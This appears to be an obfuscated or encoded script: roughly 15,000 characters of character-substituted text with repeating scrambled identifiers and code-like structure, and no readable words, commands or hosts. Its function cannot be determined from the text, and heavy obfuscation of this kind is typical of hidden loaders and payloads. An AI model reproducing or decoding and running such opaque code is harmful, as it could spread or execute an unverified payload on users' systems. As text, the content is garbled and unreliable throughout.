^IHI_IG]]%%%%M]JND%R%%%%R%  oFA[J]]Z_[\[]ZL[Z]NC[V_J%%R%R%  FAEJL[FYJNKENKN_[J]%%I@]JNLG]YLVMUB_@XXN\CGF][CK^T%FIoUVBD\JJ@K[CGF][CK^		oFH]MK@AMIL\CGF][CK^WIIWJT%IAY@XJVVFH]MK@AMIL\%%FIFXpY^U_NV^MUHIAY@XJVVT%EZ]@[BUJAJXIAY@XJVV%FIoEZ]@[BUJ@_JACGF][CK^[]ZJT%%%%EZ]@[BUJLC@\J%L@A[FAZJ%R%R%R%%%%]_DCDZL\MMGCVDKC_KACCGF][CK^%FIoUVBD\JJ@K[]_DCDZL\pAWDW\CVHEINNK]_DCDZL\[]ZJ%IAY@XJVVUVBD\JJ@K[%%%VVY\BKM^VKKLp]ALKKG_ZDpLW]_DCDZL\FH]MK@AMIL\%%%FIVVY\BKM^VKKINC\JL@A[FAZJ%ppVpV]FL\AJXIAY@XJVV%FIoppVpV]FL\@_JAVVY\BKM^VKKIAY@XJVVl}jn{jSIAY@XJVV`yj}x}f{j[]ZJT%ppVpV]FL\NKKi]@B|[]FAHKY^^N_EXEYUV KY^^N_EXEYUVFXpY^U_NV^MUH_CGXELCHAVW%ppVpV]FL\LC@\J%I^_CXBHXWJAJXIAY@XJVV%FIoI^_CXBHXWJ@_JAVVY\BKM^VKK[]ZJT%I^_CXBHXWJLC@\J%FIG]CYUEMXZpD_VVY\BKM^VKKCGF][CK^SSI@UZXHX]FWNVVY\BKM^VKKCGF][CK^		FVC]\Z]^LYVJ^AVVY\BKM^VKKT%LDGZAFpWLVH[K[CGF][CK^XGUWZVGJZFI%%%^^[J]pC_EXZI\U\YFLJCGF][CK^%%%%RJC\JT%  x|J]YJ]|FKJ}JAKJ]L@A\[NA[[FBJ\LGJKZCJ]%%%%%FVC]\Z]^LYVJ^AVVY\BKM^VKK%R%  N__]@WFBN[JBN[LG%%RJC\JT%FVC]\Z]^LYVJ^AVVY\BKM^VKK%R%RJC\JT%FVC]\Z]^LYVJ^AVVY\BKM^VKK%R%R%RLN[LG{G]@XNMCJC[A_M[pT%%%%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%%%%R%IZAL[F@AEVIDVUKWEHJ]_%T%%%%[]VT%%%FIFXpY^U_NV^MUHFH]MK@AMIL\SSFXpY^U_NV^MUHUVBD\JJ@K[]J[Z]A%FIKJIFAJKFH]MK@AMIL\]J[Z]A%%LFNCp^\CFXpY^U_NV^MUH%FIX_pAJW[p\LGJKZCJKLFNCp^\CT%%%X_p\LGJKZCJpJYJA[FXpY^U_NV^MUHFH]MK@AMIL\LFNCp^\C%  J\LN_JNANCVUJ\J\^ZFCFAJN]\DF_CF\[%%R%%%FIX_pAJW[p\LGJKZCJKFXpY^U_NV^MUHT%X_p\LGJKZCJpJYJA[MMGCVDKC_KACMMGCVDKC_KACFXpY^U_NV^MUH%R%  LC@\JKL@A[NFAJ]%%RLN[LG{G]@XNMCJC[A_M[pTA^IZXC]\H_GUMA^IZXC]
%@DWMpK]LDZ\KNVCZFH]MK@AMIL\C[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%%%R%%%%IZAL[F@AEp_\DWZ[DXH^F%T%[]VT%FIKJIFAJKUVBD\JJ@K[]J[Z]A%NV@@FNX@\J__MJJCW]ZGnm|n{gHq%UZH@XGL[B@VMAEJN]]NV%FIFXpY^U_NV^MUHMMGCVDKC_KACUZH@XGL[B@VMAEJtrXB[[I@V^YMAMHF%UZH@XGL[B@VMAEJtrnm|n{gFXpY^U_NV^MUH%%%FIFH]MK@AMIL\FH]MK@AMIL\UZH@XGL[B@VMAEJtrZVK^W\ZBKLY[ZIN%I@]JNLGUZH@XGL[B@VMAEJN\B^@IMNT%UZECL\GCUVB^@IMNFH]MK@AMIL\NV@@FNX%FIoUVBD\JJ@K[UZECL\GCUV		FA[oFH]MK@AMIL\UZECL\GCUVUVBD\JJ@K[]J[Z]A%R%%I@]JNLGUZH@XGL[B@VMAEJN\B^@IMNT%CpVCAJBCZ@ZpMB^@IMNUVBD\JJ@K[NV@@FNX%FIoUVBD\JJ@K[CpVCAJBCZ@ZpMT%@[ZEWFKIVV]VFA[oFH]MK@AMIL\CpVCAJBCZ@ZpM%FI@[ZEWFKIVV]VUVBD\JJ@K[		@[ZEWFKIVV]VUVBD\JJ@K[L@A[FAZJ%FVC]\Z]^LYVJ^ACpVCAJBCZ@ZpM%R%XLLXMAEMVNIHEB^@IMNFXpY^U_NV^MUHNV@@FNXFH]MK@AMIL\%FIoUVBD\JJ@K[XLLXMAEMVNIHE		FA[oFH]MK@AMIL\XLLXMAEMVNIHET%EAU_LYF_@B^@IMNMMGCVDKC_KACNV@@FNX%EE@F@K^CoFXpY^U_NV^MUHEAU_LYF_@MMGCVDKC_KAC\[]FAHoUVBD\JJ@K[EAU_LYF_@%FIEE@F@K^C		FXpY^U_NV^MUHFH]MK@AMIL\		oBKpIFCJXLLXMAEMVNIHEEE@F@K^CT%oFALCZKJXLLXMAEMVNIHE%]J[Z]A%R%FIEE@F@K^CT%FVC]\Z]^LYVJ^AXLLXMAEMVNIHE%R%ZA\J[EAU_LYF_@EE@F@K^C%R%R%ZA\J[CpVCAJBCZ@ZpM@[ZEWFKIVV]V%FIFH]MK@AMIL\MMGCVDKC_KACoKJCJ[Jp[]NA\FJA[MMGCVDKC_KAC%CEE]NMCBXA]HCM^M%%%%%%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[C[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%IZAL[F@AYKVC[JZH]%T%[]VT%FIKJIFAJKMMGCVDKC_KAC]J[Z]A%XKEDBJVJCFIHAZCC%KY^^N_EXEYUVFXpY^U_NV^MUH]\MJUBYFXpY^U_NV^MUH_I@KHJ][HJNCXWD]\p_E_p_I@KHJ][HJNCX%^ML[\^V_J]\MJUBY%_CGXELCHAVW%FIoFXpY^U_NV^MUH^ML[\^V_J		oMMGCVDKC_KAC^ML[\^V_JT%AYJX^GBNEUI\[]FAHoUVBD\JJ@K[^ML[\^V_J_[U_@X[Y@CK[p_UUXH_[U_@X[Y_[U_@X[Y_[U_@X[Y%XDF[INJB@UFH]MK@AMIL\FH]MK@AMIL\EXpF\FZFGEDEJAYJX^GBNEUIAYJX^GBNEUI%FIFXpY^U_NV^MUHXDF[INJB@U		FXpY^U_NV^MUHXDF[INJB@U		YUKA]KF^LpMLUMZXDF[INJB@U_CGXELCHAVWXDF[INJB@U%ZA\J[AYJX^GBNEUIXDF[INJB@U%R%FI_CGXELCHAVWT%^\XZFMLCX@\J__MJJCW]ZGnm|n{gMMGCVDKC_KAC%LYF]DCIHpYFXpY^U_NV^MUHFXpY^U_NV^MUHoHJ[p@_[F@A^\XZFMLCX%FILYF]DCIHpYSSMMGCVDKC_KACLYF]DCIHpY]J[Z]A\CJpBUMGSXUN@BD^V]\\CJpBUMGq%_CGXELCHAVW^_XM[U_@FHFECWY]@UVBD\JJ@K[LYF]DCIHpY%FI_CGXELCHAVWSSMMGCVDKC_KAC_CGXELCHAVW]J[Z]A%%%FIYUKA]KF^LpMLUMZ_CGXELCHAVWT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[MMGCVDKC_KAC%]J[Z]A%R%R%YIHUKIZVK^W\ZBKLY[ZIN%HBB[HKX]ZWDYIHUKIFXpY^U_NV^MUHKY^^N_EXEYUV%BHJ^LHM\MEH\HBB[HKX]ZWD KY^^N_EXEYUVUVBD\JJ@K[%FIoUVBD\JJ@K[HBB[HKX]ZWDpAWDW\CVHEINNKHBB[HKX]ZWD[]ZJ%IVH]p]BJNMY[pEoFXpY^U_NV^MUHBHJ^LHM\MEH\\[]FAHoFH]MK@AMIL\BHJ^LHM\MEH\%%EKCYFZDMIMA[INC\J%FIIVH]p]BJNMY[pE		FH]MK@AMIL\FH]MK@AMIL\UVBD\JJ@K[IVH]p]BJNMY[pEWFpWEDYC		YJ]\F@ApL@B_N]JWFpWEDYCtrXHMDNU[UXH@NANXI[EKCYFZDMIMA[[]ZJ%ZA\J[WFpWEDYC%FIEKCYFZDMIMA[		IVH]p]BJNMY[pESSMMGCVDKC_KACEXpF\FZFGEDEJIVH]p]BJNMY[pEMMGCVDKC_KAC_CGXELCHAVWT%FI\M^IMUZLAAY\WEFW_BHJ^LHM\MEH\[IB^@@IDZVNJD@AX_CGXELCHAVWT%^^[J]pC_EXZI\U\YFLJBHJ^LHM\MEH\%JECDKL[DCBHJ^LHM\MEH\%CNIDVG[IGpNBHJ^LHM\MEH\%R%R%ZA\J[IVH]p]BJNMY[pEEKCYFZDMIMA[%FIFH]MK@AMIL\UVBD\JJ@K[		FH]MK@AMIL\MMGCVDKC_KACTV_LID[[NX@XZ@D\YLXYGG]DBV_LID[[NX@X%]^YMCWULL@KY^^N_EXEYUV KY^^N_EXEYUVFXpY^U_NV^MUH%%%%WGNUX[LJp\VEHJ[p@_[F@AFXpY^U_NV^MUHN]]NV%%%FIFH]MK@AMIL\WGNUX[LJp\VEWGNUX[LJp\VEN]]NV%%%%FIFXpY^U_NV^MUH]^YMCWULL@WGNUX[LJp\VE[]ZJT%WGNUX[LJp\VEtr]^YMCWULL@%Z_KN[Jp@_[F@AMMGCVDKC_KACMMGCVDKC_KACWGNUX[LJp\VE%%%R%R%JJHKY\BLGFWMEZpLN@AJ@YYVD\@G[A%FIoFH]MK@AMIL\JJHKY\BLGFWMESSpAWDW\CVHEINNKJJHKY\BLGFWME[]ZJT%^NHI[_IJJHKY\BLGFWME KY^^N_EXEYUVMMGCVDKC_KAC%ABHAFNKMpoFH]MK@AMIL\^NHI[_I\[]FAHoFH]MK@AMIL\^NHI[_I%VLFVCMG_IpINC\J%FIABHAFNKMp		FH]MK@AMIL\FH]MK@AMIL\FH]MK@AMIL\ABHAFNKMpNN\CWKMM^		YJ]\F@ApL@B_N]JNN\CWKMM^trXHMDNU[UXH@NANXI[VLFVCMG_Ip[]ZJ%ZA\J[NN\CWKMM^%%%FIVLFVCMG_Ip		ABHAFNKMpSSMMGCVDKC_KACEXpF\FZFGEDEJABHAFNKMpMMGCVDKC_KAC_CGXELCHAVWTBAAHVDUYNSN_FXD]\ZBAAHVDUYNq%FI\M^IMUZLAAY\WEFW_^NHI[_I[IB^@@IDZVNJD@AX_CGXELCHAVWT%%^^[J]pC_EXZI\U\YFLJ^NHI[_I%JECDKL[DC^NHI[_I%%CNIDVG[IGpN^NHI[_I%R%  C@HN]F[GBFLNKN_[J]%%RJC\JFIVLFVCMG_IpT%KEEMB[H_EoMMGCVDKC_KAC^NHI[_I%FIKEEMB[H_ESSKEEMB[H_E
_]EWUCKBEYJECDKL[DC^NHI[_I%ZA\J[KEEMB[H_E%%%R%ZA\J[ABHAFNKMpVLFVCMG_Ip%R%MFX_]HGEZIM[XA_CGXELCHAVW%RLN[LG{G]@XNMCJC[A_M[pT%%@DWMpK]LDZ\KNVCZMMGCVDKC_KACC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%IZAL[F@ANWLXFKUC[CpF^pEU[%T%FIF\\J[phj{t_rSSUVBD\JJ@K[phj{t_r]J[Z]A%pM_V^_BMDCFKHDphj{t_r%FIpM_V^_BMDCFKHDXpAWIH\JMABDpFXpY^U_NV^MUHT%[]VT%pNM]L^\ZGXB[[I@V^YMAMHF @\J__MJJCW]ZGnm|n{gMMGCVDKC_KACqMMGCVDKC_KAC%VM[A^_@WBWXJZoFXpY^U_NV^MUHpNM]L^\ZGFA[oUVBD\JJ@K[pNM]L^\ZG%FIVM[A^_@WBWXJZ		VM[A^_@WBWXJZT%FALCZKJpNM]L^\ZG%R%RLN[LG{G]@XNMCJC[A_M[pT%%%%RLN[LGjWLJ_[F@AC[A_M[pT%R%XGFCJFH]MK@AMIL\		o@MpJAKpLCJNAT%R%%%%GJNKJ]FH]MK@AMIL\%JWF[%R%%%%FIpM_V^_BMDCFKHDXpAWIH\JMABDpFXpY^U_NV^MUH]J[Z]A%[]VT%FIMMGCVDKC_KACUVBD\JJ@K[		MMGCVDKC_KACFH]MK@AMIL\T%oZ_KN[Jp@_[F@AFXpY^U_NV^MUHFA[oHJ[p@_[F@AMMGCVDKC_KACMMGCVDKC_KAC%%%oZ_KN[Jp@_[F@AUVBD\JJ@K[FH]MK@AMIL\UVBD\JJ@K[%R%HAEEVU^F@@KWNGU_GUAFpFH]MK@AMIL\%%FIFH]MK@AMIL\HAEEVU^F@		FH]MK@AMIL\FXpY^U_NV^MUHHAEEVU^F@		MMGCVDKC_KACFXpY^U_NV^MUHHAEEVU^F@T%%C@BF@pHoUVBD\JJ@K[HAEEVU^F@[]ZJ%FIC@BF@pHINC\J		MMGCVDKC_KACC@BF@pHHAEEVU^F@C@BF@pH%%%%R%FIUVBD\JJ@K[HAEEVU^F@HAEEVU^F@EUJE@YFpV%FIFH]MK@AMIL\HAEEVU^F@T%XGFCJUVBD\JJ@K[		o@MpJAKpLCJNAT_WJHME@ZEKW_WJHM
%R%GJNKJ]UVBD\JJ@K[%GJNKJ]MMGCVDKC_KAC%GJNKJ]FH]MK@AMIL\%JWF[%%R%FMM[N^YJAM@KWNGU_GUAFpMMGCVDKC_KAC%XD^E_HDW]WZ[UVBD\JJ@K[FMM[N^YJAMHAEEVU^F@%%%%FIF\\J[p|j}yj}tUVBD\JJ@K[r		FXpY^U_NV^MUHp|j}yj}tFH]MK@AMIL\rXD^E_HDW]WZ[T%XGFCJFH]MK@AMIL\		o@MpJAKpLCJNAT%R%GJNKJ]FXpY^U_NV^MUH%%%GJNKJ]UVBD\JJ@K[XD^E_HDW]WZ[%JWF[%R%XGFCJFXpY^U_NV^MUH		o@MpJAKpLCJNAT%R%GJNKJ]FXpY^U_NV^MUH%GJNKJ]FXpY^U_NV^MUH%GJNKJ]FXpY^U_NV^MUH%GJNKJ]FXpY^U_NV^MUHXD^E_HDW]WZ[%%%%JLG@FMM[N^YJAMHAEEVU^F@%JWF[%RLN[LG{G]@XNMCJC[A_M[pT%%@DWMpK]LDZ\KNVCZUVBD\JJ@K[C[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[C[A_M[p%%R%  x|C@[iFCC_]@EJL[FAEJL[@]%%R%NWLXFKUC[CpF^pEU[%IZAL[F@A^NXWJ@VL[I%T%FIF\\J[phj{tFXpY^U_NV^MUHr]J[Z]A%[]VT%_NZ]\F@Hpphj{tMMGCVDKC_KACr%FIFH]MK@AMIL\_NZ]\F@HpSS_NZ]\F@Hp]J[Z]A%_NZ]\F@HpFXpY^U_NV^MUH_NZ]\F@Hp%M^@ZJ\EpN]]NV%FIMMGCVDKC_KACUVBD\JJ@K[M^@ZJ\Eptr\[]FAHUVBD\JJ@K[G@BJpZ]Cgpz}cpg`|{%FIMMGCVDKC_KACUVBD\JJ@K[T%%%pH[XJ^_\E\[]FAHoHJ[p@_[F@AMMGCVDKC_KAC%FIpH[XJ^_\EM^@ZJ\Eptr\[]FAHMMGCVDKC_KACpH[XJ^_\Egpz}cpg`|{%R%%FIF\\J[p|j}yj}tUVBD\JJ@K[rM^@ZJ\Eptr\[]FAHp|j}yj}tFXpY^U_NV^MUHr%M^@ZJ\EptrXHUL_\YVJD@^MI%%%IVXJ^^]N\I^WINC\J%I@]JNLGFXpY^U_NV^MUHM^@ZJ\EpN\YLW[\U@TIA@LY_gpfa{pbnw gpfa{pbnwK]pHYDKFU]IA@LY_%FIFH]MK@AMIL\YLW[\U@SSYLW[\U@L@A[FAZJ%%FIFH]MK@AMIL\YLW[\U@INC\JYLW[\U@UVBD\JJ@K[FH]MK@AMIL\YLW[\U@%FI@\J__MJJCW]ZGFH]MK@AMIL\YLW[\U@FH]MK@AMIL\q_NZ]\F@HpT%%IVXJ^^]N\I^W[]ZJWYY]H[pZgpbne`}pyj}|f`aXK^YNV^WYY]H[pZ%%%%M]JND%R%R%FIIVXJ^^]N\I^W]J[Z]A%CDDE\WBZJFH]MK@AMIL\FXpY^U_NV^MUHq%IABK_ED^]L^_XM[U_@FHFECWY]@ZpWA_IA_EMIYLFVpCDDE\WBZJ%XGFCJMMGCVDKC_KAC		o@MpJAKpLCJNAT%R%GJNKJ]UVBD\JJ@K[%GJNKJ]MMGCVDKC_KAC%JLG@IABK_ED^]LCDDE\WBZJMMGCVDKC_KACMMGCVDKC_KACCDDE\WBZJUVBD\JJ@K[%%%JWF[%%%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHC[A_M[p%R%R%^NXWJ@VL[I%IZAL[F@A]EKG^Y^_ZFD]ZDHZ%T%[]VT%FIUVBD\JJ@K[UVBD\JJ@K[]@LDJ[pLCJNApK@BNFA%FIFH]MK@AMIL\UVBD\JJ@K[X[LpICZ\GpNCC%FIMMGCVDKC_KACFH]MK@AMIL\\HpLNLGJ_]J\\p_Z]HJpLNLGJ%%%FIMMGCVDKC_KACUVBD\JJ@K[CF[J\_JJKp_Z]HJpNCC%JC\JFIFXpY^U_NV^MUHUVBD\JJ@K[		FH]MK@AMIL\FH]MK@AMIL\UVBD\JJ@K[cF[J|_JJKplNLGJpnf_Z]HJpNCC%FIFXpY^U_NV^MUHFH]MK@AMIL\		UVBD\JJ@K[FXpY^U_NV^MUHUVBD\JJ@K[m]JJUJpZ]HJlNLGJM]JJUJpLNLGJpICZ\G%FIFH]MK@AMIL\FH]MK@AMIL\		MMGCVDKC_KACMMGCVDKC_KACFH]MK@AMIL\lNLGJpjANMCJ]LCJN]p[@[NCpLNLGJ%%%FIFH]MK@AMIL\FH]MK@AMIL\X_ILpLCJN]pNCCpLNLGJ%JC\JFIF\\J[hc`mnc|tFXpY^U_NV^MUHr		UVBD\JJ@K[hc`mnc|tMMGCVDKC_KACr		FXpY^U_NV^MUHhc`mnc|tFH]MK@AMIL\rFH]MK@AMIL\hc`mnc|tFXpY^U_NV^MUHrKJCJ[JlNLGJ[]ZJ%FIUVBD\JJ@K[MMGCVDKC_KACX_pLNLGJpLCJN]pLNLGJ%%%FIMMGCVDKC_KACFXpY^U_NV^MUH		MMGCVDKC_KACMMGCVDKC_KACMMGCVDKC_KACNZ[@_[FBFUJlNLGJLCJN]NCC%@DWMpK]LDZ\KNVCZFH]MK@AMIL\MMGCVDKC_KAC%RLN[LG{G]@XNMCJC[A_M[pT%%%%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%%IZAL[F@AG[F\M]B_@EN^ZL_%T%FIFXpY^U_NV^MUHFXpY^U_NV^MUH		F\pNKBFA]J[Z]A[]ZJ%FIFH]MK@AMIL\FH]MK@AMIL\		X_pK@FAHpNENW]J[Z]A[]ZJ%FIKJIFAJKUVBD\JJ@K[		}j|{p}j~zj|{]J[Z]A[]ZJ%FIKJIFAJKMMGCVDKC_KAC		wbc}lp}j~zj|{]J[Z]A[]ZJ%FIMMGCVDKC_KACUVBD\JJ@K[		F\pIJJK]J[Z]A[]ZJ%FIUVBD\JJ@K[FXpY^U_NV^MUH		F\p]@M@[\]J[Z]A[]ZJ%%%FIUVBD\JJ@K[UVBD\JJ@K[		F\p\F[JBN_\]J[Z]A[]ZJ%%FIFH]MK@AMIL\UVBD\JJ@K[		F\pLZ\[@BFUJp_]JYFJX]J[Z]A[]ZJ%FIF\\J[phj{tUVBD\JJ@K[rSSF\\J[phj{tFXpY^U_NV^MUHrSSF\\J[phj{tFXpY^U_NV^MUHr]J[Z]A[]ZJ%%%]J[Z]AINC\J%%%%R%IZAL[F@AJ@^L@UWFpJ\DZFDYD\%%%%TBZFL@KIFI[VKBJAMNABZFL@K%AYXp[WNHYNJF\\J[hc`mnc|tMMGCVDKC_KACr		UVBD\JJ@K[hc`mnc|tMMGCVDKC_KACrFH]MK@AMIL\hc`mnc|tUVBD\JJ@K[r%%%%FIAYXp[WNHYNJ]J[Z]A%AYXp[WNHYNJFH]MK@AMIL\FH]MK@AMIL\MMGCVDKC_KACAYXp[WNHYNJ%[B_BYXJ^ICLFXpY^U_NV^MUHMMGCVDKC_KAC\[]FAHFH]MK@AMIL\G@BJpZ]Cgpz}cpg`|{%CZBWYEVEWM^UX@\J__MJJCW]ZGUVBD\JJ@K[[B_BYXJ^ICL%AUKG[G[MBMMGCVDKC_KACFXpY^U_NV^MUHAYXp[WNHYNJ%]J[Z]AsA\L]F_[KN[N\LsCZBWYEVEWM^UXAUKG[G[MBssAAYXp[WNHYNJsA \L]F_[sA\LCZBWYEVEWM^UXAUKG[G[MBsA%R%IZAL[F@A\\_EHDA]MKBLF%T%[]VT%FIG[F\M]B_@EN^ZL_]J[Z]A%%D]BVXWJVBp]@EWJ@^L@UWFpJ\DZFDYD\%FID]BVXWJVBp]@EW]J[Z]A%JLG@D]BVXWJVBp]@EW%hc`mnc|tUVBD\JJ@K[r[]ZJ%FIUVBD\JJ@K[FH]MK@AMIL\		FH]MK@AMIL\UVBD\JJ@K[		JB_[Vhc`mnc|tMMGCVDKC_KACrT%hc`mnc|tFXpY^U_NV^MUHr[]ZJ%YKGCFZYZCLFA[oHJ[p@_[F@AMMGCVDKC_KAC%FIMMGCVDKC_KACYKGCFZYZCLoZ_KN[Jp@_[F@AUVBD\JJ@K[FXpY^U_NV^MUHFH]MK@AMIL\%ZA\J[YKGCFZYZCL%R%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%%%%R%R%IZAL[F@AWLCJDJVAFNBDMLFGDW^W[YX%T%FIFH]MK@AMIL\FGDW^W[YXSSFGDW^W[YX]J[Z]AFGDW^W[YX%FIJB_[Vhc`mnc|tFXpY^U_NV^MUHr]J[Z]AFGDW^W[YX%D]BVXWJVBp]@EWJ@^L@UWFpJ\DZFDYD\%FID]BVXWJVBp]@EW]J[Z]AFGDW^W[YX%%%FI\[]F_@\FGDW^W[YXFH]MK@AMIL\INC\J		\[]F_@\FGDW^W[YXFH]MK@AMIL\INC\J]J[Z]AFGDW^W[YX%%hc`mnc|tFXpY^U_NV^MUHr[]ZJ%hc`mnc|tUVBD\JJ@K[r[]ZJ%%%_LpZKJNLAWA\[]F_@\FGDW^W[YXFXpY^U_NV^MUH%FI_LpZKJNLAWAINC\JT%]J[Z]AUVBD\JJ@K[FGDW^W[YX_LpZKJNLAWAD]BVXWJVBp]@EWFH]MK@AMIL\FGDW^W[YX_LpZKJNLAWA%R%  gIFMJ]\J^ZFYN]FNA[KN[NIC@XH]N_G%%]J[Z]AFGDW^W[YXD]BVXWJVBp]@EW%R%IZAL[F@A\DCIKABX^A]FC%T%[]VT%  xmC@LDl@A[]@C\FAIJ]_F_JCFAJ%%%FIG[F\M]B_@EN^ZL_]J[Z]A%FIJB_[Vhc`mnc|tFH]MK@AMIL\r]J[Z]A%AYXp[WNHYNJF\\J[hc`mnc|tFXpY^U_NV^MUHr		MMGCVDKC_KAChc`mnc|tMMGCVDKC_KACrUVBD\JJ@K[hc`mnc|tFH]MK@AMIL\rKIFII[FB_gpbne`}pyj}|f`aFGI@]p_KEDAKIFII[FB_%FIAYXp[WNHYNJ]J[Z]A%hc`mnc|tMMGCVDKC_KACr[]ZJ%oFH]MK@AMIL\FXpY^U_NV^MUH%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%IZAL[F@AGJEC\\LZZ[BD_FF%%T%[]VT%FIF\pNKBFA		F\\J[hc`mnc|tUVBD\JJ@K[rSShc`mnc|tFH]MK@AMIL\rMMGCVDKC_KAC]J[Z]A%FIUVBD\JJ@K[FXpY^U_NV^MUH		F\p\\C]J[Z]A%KLMKZJEMGILBX@KWNGU_GUAFpUVBD\JJ@K[%%%CZBWYEVEWM^UX@\J__MJJCW]ZGnm|n{gFXpY^U_NV^MUHq%KYIXIYZ]FH]MK@AMIL\%FIKLMKZJEMGILBXT%FIFXpY^U_NV^MUHUVBD\JJ@K[		FA[oHJ[p@_[F@AFXpY^U_NV^MUHT%oZ_KN[Jp@_[F@AFH]MK@AMIL\FXpY^U_NV^MUH%^ZYW]YAUBDB\[]FAHoHJ[p@_[F@AFXpY^U_NV^MUH%JLG@sAFXpY^U_NV^MUHCZBWYEVEWM^UX%FH]MK@AMIL\%FXpY^U_NV^MUHKYIXIYZ]FXpY^U_NV^MUHUVBD\JJ@K[%FXpY^U_NV^MUHUVBD\JJ@K[^ZYW]YAUBDB%FXpY^U_NV^MUHKYIXIYZ]FH]MK@AMIL\UVBD\JJ@K[%MMGCVDKC_KACKYIXIYZ]UVBD\JJ@K[FH]MK@AMIL\KYIXIYZ]FH]MK@AMIL\FXpY^U_NV^MUHKYIXIYZ]MMGCVDKC_KACUVBD\JJ@K[KYIXIYZ]MMGCVDKC_KACFH]MK@AMIL\%MMGCVDKC_KACKYIXIYZ]FH]MK@AMIL\UVBD\JJ@K[KYIXIYZ]UVBD\JJ@K[MMGCVDKC_KAC%%%FXpY^U_NV^MUHsA%ZA\J[^ZYW]YAUBDB%R%%]J[Z]A%R%%%%KLMKZJEMGILBXFXpY^U_NV^MUHFXpY^U_NV^MUHFH]MK@AMIL\KLMKZJEMGILBX%FIMMGCVDKC_KACKLMKZJEMGILBXFXpY^U_NV^MUHKLMKZJEMGILBXFXpY^U_NV^MUHFXpY^U_NV^MUHKLMKZJEMGILBX %%%%MpGJ[GGIV@ %FIMMGCVDKC_KACFXpY^U_NV^MUHT%%Y\FBp\[]FAHFXpY^U_NV^MUHG@BJpZ]Cgpz}cpn{g%FIY\FBp		Y\FBp MpGJ[GGIV@MMGCVDKC_KACY\FBp  %R%FIUVBD\JJ@K[UVBD\JJ@K[T%oZ_KN[Jp@_[F@AUVBD\JJ@K[FXpY^U_NV^MUH%oZ_KN[Jp@_[F@AMMGCVDKC_KACKLMKZJEMGILBXUVBD\JJ@K[%R%\JWYLUKWICFH]MK@AMIL\CZBWYEVEWM^UX%MMGCVDKC_KAC%UVBD\JJ@K[KYIXIYZ]FXpY^U_NV^MUHFXpY^U_NV^MUH%MMGCVDKC_KAC%MMGCVDKC_KACKYIXIYZ]MMGCVDKC_KACFH]MK@AMIL\UVBD\JJ@K[KLMKZJEMGILBX%FXpY^U_NV^MUHKYIXIYZ]FH]MK@AMIL\FH]MK@AMIL\MMGCVDKC_KACKLMKZJEMGILBXFXpY^U_NV^MUHUVBD\JJ@K[MpGJ[GGIV@UVBD\JJ@K[KYIXIYZ]FH]MK@AMIL\FXpY^U_NV^MUH%UVBD\JJ@K[KYIXIYZ]UVBD\JJ@K[FXpY^U_NV^MUH%UVBD\JJ@K[KYIXIYZ]FH]MK@AMIL\MMGCVDKC_KACKYIXIYZ]FXpY^U_NV^MUHMMGCVDKC_KAC%UVBD\JJ@K[KYIXIYZ]FH]MK@AMIL\MMGCVDKC_KAC%MMGCVDKC_KAC%MMGCVDKC_KACKYIXIYZ]MMGCVDKC_KACMMGCVDKC_KAC%%%%UVBD\JJ@K[KYIXIYZ]UVBD\JJ@K[FH]MK@AMIL\KYIXIYZ]MMGCVDKC_KACFH]MK@AMIL\%MMGCVDKC_KAC%JLG@sA\JWYLUKWICsA%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFH]MK@AMIL\C[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%%%%@DWMpK]LDZ\KNVCZUVBD\JJ@K[C[A_M[p%%%%R%R%%FIEMK^XLUA_^HNT%]J[Z]A%R%JEWXBYHp@LCH]U@%ENXFWGpNIGL@oUVBD\JJ@K[]\MJUBY%FIENXFWGpNIGL@SSENXFWGpNIGL@
WLMWN_]EWUCKBEYT%DKZFAIFDLNHVFH]MK@AMIL\%%%%LDGZAFpWLVH[K[]\MJUBYDKZFAIFDLNHVDKZFAIFDLNHV
_]EWUCKBEY%%ZA\J[DKZFAIFDLNHV%R%ZA\J[ENXFWGpNIGL@%[]VT%%ZAYUZWNEHG@HXWppifcjpp%ZHVDKBM[%[CH]NAKoFH]MK@AMIL\ZAYUZWNEHG@HXWINC\JAZCC%FIUVBD\JJ@K[[CH]NAK		MMGCVDKC_KACFXpY^U_NV^MUH[CH]NAKJ_D\\HZ\EMCVZHVDKBM[J_D\\HZ\EMCVtr%%FIZHVDKBM[		KJIFAJKFXpY^U_NV^MUHT%BHNpNNMN_NCGN]]NV%%%KJK_M@N\KJIFAJKFH]MK@AMIL\xbzpczhfapkf}xpl`a{ja{pkf}FH]MK@AMIL\%%AB][WKE_KJIFAJKFH]MK@AMIL\xpczhfapkf}xpl`a{ja{pkf}MMGCVDKC_KAC%CM@BI_JGYN\BINC\J%FIUVBD\JJ@K[FH]MK@AMIL\T%%pWD[Z[BpoMMGCVDKC_KACKJK_M@N\oMMGCVDKC_KACKJK_M@N\UVBD\JJ@K[INC\J%HLFG[[VE\IXEoFH]MK@AMIL\AB][WKE_UVBD\JJ@K[%FIMMGCVDKC_KACpWD[Z[BpSSFH]MK@AMIL\HLFG[[VE\IXET%%%CM@BI_JGYN\B[]ZJ%I@]JNLGN]]NVpWD[Z[BpN\GYW]VCIp^\GBHNpNNMN_NCGtrGYW]VCIp^\G%I@]JNLGN]]NVHLFG[[VE\IXEN\GYW]VCIp^\GBHNpNNMN_NCGtrGYW]VCIp^\G%R%%%ZA\J[pWD[Z[BpHLFG[[VE\IXE%R%FICM@BI_